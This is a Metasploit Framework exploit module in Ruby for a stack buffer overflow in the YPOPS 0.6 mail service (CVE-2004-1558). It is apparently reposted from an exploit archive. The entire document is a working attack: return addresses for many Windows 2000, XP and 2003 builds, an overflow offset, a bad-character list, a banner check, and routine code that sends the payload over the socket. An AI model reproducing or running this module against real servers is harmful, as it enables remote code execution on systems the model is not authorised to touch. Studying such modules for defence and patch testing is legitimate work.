YPOPS 0.6 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Smtp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'YPOPS 0.6 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in the YPOPS POP3  
service.  
  
This is a classic stack overflow for YPOPS version 0.6.  
Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to  
jmp ebx opcode in ws_32.dll  
  
},  
'Author' => [ 'acaro <[email protected]>' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1558'],  
[ 'OSVDB', '10367'],  
[ 'BID', '11256'],  
[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],  
  
],  
'Platform' => 'win',  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1200,  
'BadChars' => "\x00\x25",  
'MinNops' => 106,  
  
},  
'Targets' =>   
[  
[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],  
[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],  
[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],  
[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],  
[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],  
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],  
[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],  
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],  
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],  
],  
'DisclosureDate' => 'Sep 27 2004'))  
end  
  
def check  
connect  
disconnect  
  
banner.gsub!(/\n/, '')  
  
if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/  
print_status("Vulnerable SMTP server: #{banner}")  
return Exploit::CheckCode::Detected  
end  
  
print_status("Unknown SMTP server: #{banner}")  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
pattern =   
rand_text_alpha(target['Offset'] - payload.encoded.length) +  
payload.encoded +  
[target.ret].pack('V') +   
"\n"  
  
print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")  
  
sock.put(pattern)  
  
handler  
disconnect  
end  
  
end  
`